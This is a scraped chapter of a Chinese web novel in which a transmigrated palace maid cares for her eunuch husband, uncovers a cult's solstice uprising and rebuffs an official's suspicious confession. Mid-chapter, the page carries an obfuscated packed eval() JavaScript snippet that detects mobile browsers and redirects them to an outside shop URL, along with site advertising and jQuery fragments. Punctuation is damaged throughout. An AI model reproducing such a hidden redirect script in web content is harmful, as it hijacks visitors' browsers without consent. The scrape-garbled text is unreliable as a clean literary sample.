他穿黄色果然很好看
院子里安静下来,只有酥山在水缸旁边捞铜钱草玩。
“那如果把那些人都杀光之后,你最想要做什么呢?”
陆和煦垂下眉眼。
他没有想过。
陆和煦缓慢转头,视线落到苏蓁蓁脸上。
她低着头,那双盈盈水眸之中蒙上了一层黯色,看起来像是心情有些低落。
“想吃你做的酥山。”
嗯?
“这是你刚才问题的答案。”
苏蓁蓁愣了愣,随后忍不住弯唇笑了。
这是说明,他的以后里也会有她吗?
“现在就可以吃,不知道这里有没有冰窖。”
牙疼的时候适度吃些冰有利于消肿。
苏蓁蓁没想到姑苏驿馆内居然真的有一处冰窖。
虽然地方不大,储冰量不多,但做一碗小小的酥山自然是够了。
秋日水果很多,苏蓁蓁挑了几个甜柿子,然后又挑了几个猕猴桃。
穆旦的右手还没好,他就用左手将冰块敲碎。
苏蓁蓁站在那里剥柿子皮,剥完之后又用刀削猕猴桃的皮。
猕猴桃还没有彻底成熟,皮肉连的紧,苏蓁蓁削了半天,成功替猕猴桃瘦身一半。
她将削好的猕猴桃切成小块放到酥山上,看到穆旦往上面浇蜂蜜水。
“少浇一点,你牙齿还没好。”
“嗯。”
答应,但不干。
苏蓁蓁看着被浇了厚厚一层蜂蜜水的酥山,想着明日还得给他多备一点黄连水。
苦死你。
“张嘴。”陆和煦舀了一勺酥山送到苏蓁蓁嘴边。
苏蓁蓁张嘴。
【好冰。】
少年的指腹擦过她湿润的唇角,然后倾身过去,舔过那一点浸漫在女人唇角处的蜂蜜。
“好甜。”
“蜂蜜当然是甜的了。”
陆和煦又舀了一勺酥山送到苏蓁蓁嘴边。
苏蓁蓁小小吃一口,唇尖粘上蜂蜜水。
就这样一个喂,一个吃,半份酥山被苏蓁蓁吃完了。
“好了,吃不下了。”苏蓁蓁微微偏头,陆和煦便将她吃了一半的酥山吃完了。
两人从小厨房里出来,坐在檐下吃大麦茶。
苏蓁蓁握着他的右手,顺着骨头慢慢往上。
“胳膊还疼吗?”
“不疼了。”
这点疼痛对于陆和煦来说不值一提。
这就好比人在经历
过大灾大难之后,面对一些小灾小难根本就不会当回事。
“牙呢?苏蓁蓁又去摸了摸穆旦的面颊。
面颊上的肿胀消退了一半,不仔细看的话其实已经看不出来了。
当然,如果仔
细看的话还是有些明显的。
蜂蜜小猫马上就要好了,有些可惜。
苏蓁蓁摩挲着少年的面颊,“我希望你能平安无事。
【不要死。】
“我不会死。
苏蓁蓁歪头靠在穆旦肩膀上,低声道:“我们都不要死。
不知道是不是吃了那半分酥山的缘故,苏蓁蓁的肚子有些疼。
她突然感觉不对劲。
不会是来月经了吧?
自从穿书之后,苏蓁蓁每日里在这样一片高压环境之中,月经早就不正常了。
她也给自己用中药调理过,只是治标不治本,吃了一个月的中药,调好了之后,没过两个月,听闻一些风吹草动,身体和精神又陷入大压力环境中,月经又不正常。
反复循环,苏蓁蓁索性摆烂不管了。
距离上次她来月经已经有两个多月了。
古代使用草木灰包裹的棉布充当卫生巾,有钱些的直接用棉花布。
苏蓁蓁自己做了一些棉花布,往里加了一点草木灰。
她往床铺上垫了一件旧衣服,然后僵硬着身体躺下。
不该吃那半份酥山的。
苏蓁蓁的月经痛虽然没有严重到需要吃止痛片的程度,但正常那种小腹下坠,腰疼,偶尔的头疼还是存在的。
她蔫蔫地躺在那里,握着穆旦的手。
“疼?少年坐在她床边,看着蜷缩在被褥里的她。
“嗯……
【其实不疼。】
【就是想撒娇。】
【啊,为什么不抱我。】
陆和煦歪头看她,漆黑的眸子里印出她柔软略显苍白的面颊。
苏蓁蓁躲在被子里,粉色的指尖捏着被褥边角,压在鼻下,露出一双黑乌乌的眼睛,浸着一层薄雾般的漂亮,像两颗黑珍珠。
真是好会撒娇。
少年的手指抚过她的长发,然后侧身,掀开被褥上床。
苏蓁蓁伸出双臂抱住人,找了一个舒服的姿势躺着。
女人的长发散开在床铺上,陆和煦伸出手,指尖勾缠,轻轻捻过。
苏蓁蓁道:“想听睡前
故事。”
【继续撒娇。】
少年安静了一会,开始讲故事。
“从前有一个书生,喜欢上了一个女人,然后,就挖了她的坟。”
苏蓁蓁:……
“好了,你不用说了,我睡了。”
【这到底是睡前故事,还是恐怖故事!】
【谁家好人睡前讲这种故事啊!】
“不好听吗?”少年困惑。
苏蓁蓁:……
“好听。”
【才怪。】
苏蓁蓁开始困了。
她每次一来月经就很容易犯困,怎么睡都睡不够。
听着少年的心跳声,她眼皮缓慢下落。
恍恍惚惚间,她似乎听到有人在她身边说话,“我也会挖你的坟……”
-
苏蓁蓁囫囵睡过一日,早上起身,想着昨天就不应该听那个什么睡前故事,居然听到穆旦说要挖她的坟。
院子里便不见穆旦身影。
她素来不过问他每日行事。
不知道此次斩杀**的行动,他有没有参与其中。
说</a>更新,记住域名caixs↑(请来才小
说
看最新章节
完整章节)
苏蓁蓁能明显感觉到,这次的氛围跟其余几次都不一样。
要不她还是试图劝一劝穆旦跟她一起跑吧?
苏蓁蓁将酥山的猫饭做好之后,蹲在檐下看着它吃。
酥山埋头猛吃的时候,院子门被人敲响。
自从上次在山洞里参加完那场祭祀洗脑大会之后,苏蓁蓁整个人的精神就很容易紧张。
她转头看向院子门,盯着看了许久之后,才缓慢起身走到门边,“谁啊?”
“姐姐,是我。”
是阿穗的声音。
苏蓁蓁松了一口气,打开院子门。
“阿穗。”
“姐姐。”
阿穗手里提着一个食盒,“我来给姐姐送早膳。”
“进来吧,屋子里有些乱。”
苏蓁蓁引着阿穗进屋。
阿穗低头看了一眼蹲在地上吃猫饭的酥山,逗了一会,引得正在吃饭的酥山对着他不满的喵喵叫了一顿,然后才笑眯眯跟着进屋。
阿穗的视线落到侧边半开的屋子门口,里面的木施上挂了一件太监服。
他脸上的笑意收敛了一瞬,然后又扬起来。
阿穗将食盒放在桌子上,“姐姐,我今日新做了蟹黄包,你尝尝。”
原来是蟹黄包这样的好东西,怪不得要亲自给她送来。
阿穗挽起袖口,伸手去开食盒。
苏蓁蓁低头,正欲跟阿穗说话,
视线一瞥看到他手背处的长春花印记。
苏蓁蓁呼吸一窒抬眸看向阿穗的表情瞬间僵硬。
“姐姐怎么了?”
“没什么。”
在这样敏感的一个时期苏蓁蓁不会蠢到以为这朵长春花真的只是装饰品。
苏蓁蓁盯着阿穗看了一会然后坐下来接过碗筷开始吃蟹黄包。
刚刚出蒸笼没多久的蟹黄包皮薄馅大汤汁丰盈。
苏蓁蓁先开一个小口吸了里面的汤汁然后才慢吞吞的一口一口吃掉一整个。
“姐姐我还给你带了醋。”
“好。”
苏蓁蓁又夹起一只蟹黄包咬出一个小口吃了里面的汤汁之后将其完全浸泡在醋水之中然后一口放入自己嘴里。
一笼蟹黄包有六个苏蓁蓁慢吞吞把它们都吃完了然后像是突然想起来似得“对了我给你泡壶茶水来。”
“姐姐不用忙活了。”
“没事你坐一会很快就好了。”
苏蓁蓁起身去了院子里的小厨房她站在厨房里看着面前装着茶叶的瓦罐表情陷入沉思。
片刻后她提了一个干净的紫砂小茶壶出来“来尝尝我泡的金银花露茶我在里面加了一些橙子片。”说着话苏蓁蓁给阿穗倒了一杯。
阿穗端起茶碗轻抿一口尝到淡淡的橙香味。
苏蓁蓁也给自己倒了一杯却是不喝只是拿在手里。
苏蓁蓁转头看向院子外面“今日天气挺好的。”
秋日阳光刺入院中酥山吃完了它的猫饭蹲在苏蓁蓁脚边蹭了蹭然后猛地一下跳起来
苏蓁蓁转头看向阿穗。
阿穗眼皮开始打架。
“怎么了?很困吗?是不是昨晚熬夜了?”
阿穗点头“昨天看着师傅做了一夜蟹黄包……”他的声音越来越低然后慢慢趴在桌子上睡着了。
苏蓁蓁放下手里的茶碗等了一会后等阿穗彻底睡实才开始在阿穗身上摸索起来。
她不确定阿穗会不会带在身上。
原著中提到清虚太玄会一般先将信息交给一部分识字的人然后再让这些识字的人告诉不识字的人口口相传下去。
她记得阿穗识字。
太监里识字的很少正是因为阿穗识字所以他才会被老师傅看中带进膳房里。
苏蓁蓁按在阿穗腰间的手一顿她从他的
腰带里取出一个香囊。
这是她送给他驱蚊用的。
苏蓁蓁用手捏了捏,里面好像有东西。
她将香囊拆开,看到里面有一张纸条。
冬来斩龙,春至年丰。
什么意思?
斩龙她知道,是杀**。
冬来是时间?立冬?
今日是几号?
苏蓁蓁将纸条塞回香囊里,重新放回阿穗身上,然后去屋子里翻日历。
找到了。
冬至日是……下个月。
还有三十日。
沈言辞准备在冬至日的时候杀**。
-
阿穗醒过来的时候身上披着一件毯子。
他一起身,毯子就落到了地上。
阿穗赶紧弯腰将地上的毯子捡起来。
“姐姐。
苏蓁蓁正在院子里处理草药,听到他醒了,便起身走了过来,“醒了,你吃着茶就睡着了。
其实是苏蓁蓁往茶了加了一点类似古代**一样的东西,不过她的更纯一些,因此见效很快。
“熬了一夜,让姐姐见笑了。阿穗坐在那里不好意思的笑了笑,指尖攥着毯子,似还能嗅到毯子上的清香。
苏蓁蓁看着阿穗,“阿穗,你宫外还有家人吗?
阿穗点头道:“有啊,父母都在呢。
苏蓁蓁沉默了一会,话到嘴边,又咽了回去。
一个人加入宗教的理由是
多种多样的,许多父母健全,家庭和睦者被洗脑的也很多,因此,光想凭借几句劝告劝人回心转意是不可能的。
“那你是有想要完成的心愿吗?
这次轮到阿穗沉默了,他的视线突然落到苏蓁蓁脸上,“想要的太多了,姐姐。
阿穗的脑中回想起长春尊者的话,只要相信,便能得到。
只要相信尊者,就能得到一切。
苏蓁蓁看到阿穗双眸瞬间睁大,露出与她在山洞祭坛内,看到的哪些信徒脸上一样的表情。
苏蓁蓁抬手,将手里的金银花递给阿穗。
“清火的,拿回去喝吧。
-
院子门被关上,阿穗的身影消失在门口,苏蓁蓁关上门,坐回去,她低头看着竹筐子里的草药。
如果她推断没错的话,信徒起义的时间被约定在冬至日。
还有一个月。
此次起义跟其余原著剧情不一样。
一方面是它根本就不在原著剧情内,另外一方面是它的浩大和不可
控性。
这会是一场大混乱。
苏蓁蓁正思索着,听到院子门又被人敲响了。
嗯?又有人来了?
苏蓁蓁起身去开门,看到站在门口的沈言辞。
苏蓁蓁:……开门没看黄历,她现在关门来得及吗?
“苏姑娘。”
来不及了。
一看到沈言辞这张脸,苏蓁蓁就觉得没有好事。
“沈大人有事吗?”
“今日出门去了一趟街市,看到新鲜出炉的海棠糕,给你带了一些。”
谁要啊。
“多谢沈大人。”
苏蓁蓁接了,低着头站在那里,想到昨日沈言辞直接闯入院子的场景,便不着痕迹地侧身挡在了门口。
沈言辞并没有发现苏蓁蓁的小心思,他只是低头凝视着她白皙的侧颜。
苏蓁蓁今日穿了件藕荷色秋装,浅淡的粉色更衬得她整个人婉婉可人,像一朵粉色芙蓉花。长发挽起,简单的用银簪子固定,露出莹白流畅的后颈线条。
女人安静地站在那里,垂着眉眼,身上带着淡淡的草药香气,闻起来有些苦涩,却令人心安。
沈言辞听到自己不受控制的心跳
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308951|198739||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声。
他张口,“立冬日,我想邀你与穆旦一起在得月楼用膳。”
得月楼是姑苏城内的一家酒楼。
如果苏蓁蓁没记错的话,那是沈言辞自己的产业。
原著中提到,得月楼什么生意都做,相当于古代版地下俱乐部,里面有许多违法行为,沈言辞很多商业生意和官场关系都是在得月楼里面谈下来的。
“沈大人,怎么突然……”
沈言辞突然近前一步,他听到自己发颤的嗓音,“我心悦你。”
苏蓁蓁:???
苏蓁蓁当然不可能自恋的认为沈言辞是真的心悦他。
“沈大人,不要开奴婢玩笑了。”苏蓁蓁后退一步,双门按在院子门上。
想关门了。
“是真的,苏姑娘。”
沈言辞单手按住院子门,他修长白皙的手掌按在玄色木门上,微微收紧,“是真的……”
沈言辞惯常喜欢保持他的君子风度,什么时候都摆着一副端方样子。
现在这副慌慌张张的样子,将他平日的君子风骨都丢了。
细看之下,面颊上竟还升起了一些绯色。
演技是真不错啊。
如果不是知道沈言辞的真面目,苏蓁蓁差点就信了。
所以这是演哪
一出?
“我与穆旦已经成亲。
“我,我知道……可是你们是不可能的。顿了顿,沈言辞压着眸中异色道:“他只是一个太监。
说完,沈言辞看着苏蓁蓁,压在木门上的手用力往下压了压,抬脚向前。
沈言辞的身量很高,大概有一米八五。虽然看着儒雅和煦,但若是垂目朝你压过来的时候,还是能令人感受到身高带来的压迫感。
“奴婢只是一个小小的宫女……
“我不介意。
苏蓁蓁:……她介意。
苏蓁蓁刚想继续拒绝说自己高攀不上,突然想到刚才沈言辞提到的约饭日期。
立冬日。
沈言辞的目标肯定不是她。
既然他的目标不是她,那就是穆旦了。
“苏姑娘,愿意赴约吗?
沈言辞看着她,眼底浸着一股苏蓁蓁看不懂的情绪。
苏蓁蓁盯着他看了一会,随后点头道:“好。
沈言辞的眸色动了动,视线落到苏蓁蓁抓在手里的海棠糕上。
“苏姑娘,没有回礼吗?
苏蓁蓁低着头,皮笑肉不笑。
她左右看了看,看到角落处生出来的一株野菊。
不知道是哪只鸟儿身上携带的菊花种子落在了这里,竟长出一株白色杭菊。
角落处阳光照的少,略显阴湿,爬了一些青苔,斑驳的墙壁边,这株杭菊倒显出几分清苦来。
苏蓁蓁走过去,摘下这株杭菊递给沈言辞。
菊花在古代是文人墨客最喜欢的一种高洁花卉,不像现代,被打上了不吉利的标签。
当然,苏蓁蓁作为现代人,用的当然是现代人的意思。
她微笑着看向沈言辞。
祝你早死。
她一般不会这么诅咒人,除非实在是忍不住。
暗桩也是人,如果不是她运气好,早在你手底下死八百回了!
沈言辞低头看着这株杭菊,伸出手接过来。
-
沈言辞回到院子里,他将这株杭菊小心翼翼地放到桌子上,然后寻找花瓶。
这个太深。
这个颜色不配。
这个……不够名贵。
将院子里几个厢房的花瓶都翻了一遍以后,沈言辞找到一只玉壶春瓶。
细长颈,圈足,鼓腹,线条优美又不张扬,通体白釉,素面无纹。
沈言辞去院子里接了泉水,将其细细擦拭之后,装入清泉,最后才将那
支杭菊**去。
杭菊和这只玉壶春瓶被一起放在沈言辞的书桌上,印着窗子,看起来简约素雅,淡雅至极。
沈言辞坐在书桌后,手指轻轻抚过杭菊,脸上显出温柔笑容来。
他想到了一个两全的法子。
等他将那**从皇位上拉下来之后,便与苏蓁蓁坦白。
他不会让她有事的。
-
苏蓁蓁在院子里来来**的走。
她很焦躁,连走路的时候不小心踩到酥山的尾巴都没有感觉。
酥山轻叫一声,抱着自己被踩到的尾巴蹲在角落舔舐。
苏蓁蓁神色颓丧地坐下来,感觉腹部又开始涨疼,院子里秋风一吹,脑袋也开始疼起来。
当一个人对另外一个人产生私心的时候,是很容易全然信任的,不管他说什么,做什么。
而当那根怀疑的线头被扯出来以后,从前被忽略的,那些不合理的地方会瞬间串联起来。
如果苏蓁蓁不是穿书的,她是肯定猜不到的。
原著中言,那位**就算长久的被疯病折磨,也依旧难掩其惊艳容貌。
疯病缠身,惧怕日光,头风严重,天生神力,游魂**。
-
听闻那位陛下在畅音阁听戏。
苏蓁蓁换上最大众的宫女服,拿着手里的令牌,脸色苍白的出现在畅音阁外。
隔着秋风薄雾,她看到畅音阁的屋顶,绿色的琉璃瓦卷着黄色的琉璃边。
还未进入,苏蓁蓁便听到悠扬的曲笛伴奏,还有戏子**腔的细腻传情。
看守的锦衣卫看到她的令牌,侧身放行。
苏蓁蓁并未进去前廊,而是绕开人群,往戏台后面去。
畅音阁主楼一共有三层戏台,上层福台,中层禄台,下层寿台,后面有四座楼梯。
最下层处寿台正在唱戏,对面就是那群看戏的人。
苏蓁蓁踩着楼梯上去,走到最上层福台之上。
福台内空无一人,只有她一个人站在空荡荡的三楼。
门窗紧闭,贝壳磨成的窗户透出氤氲五彩光色。
苏蓁蓁轻轻的,轻轻地推开一点窗户缝隙。
她看到自己颤抖的指尖,像冬日里被雪花打落的霜花。
不要是,千万不要是。
苏蓁蓁深吸一口气,视线落到对面。
戏廊下坐着一堆人,为首的是一位坐在宝座之上的少年。
少年帝王一袭明黄色常服,单手托腮,长发束起,露出一张苍白的脸。
今日是阴天,阳光不透云层,衬得整个天气阴沉沉的,唯独那一点黄色格外亮眼。
苏蓁蓁的第一反应是,他穿黄色果然很好看。
第二反应是,她要**。
陆和煦敏锐地皱眉,抬眸朝三楼看去。
三楼福台之上,一扇贝壳窗户被秋风吹得微微打开,露出一角空荡的屋子。
魏恒注意到陆和煦的目光,躬身上前,“陛下?
“没事。
是风吧。
陆和煦垂下目光继续看戏。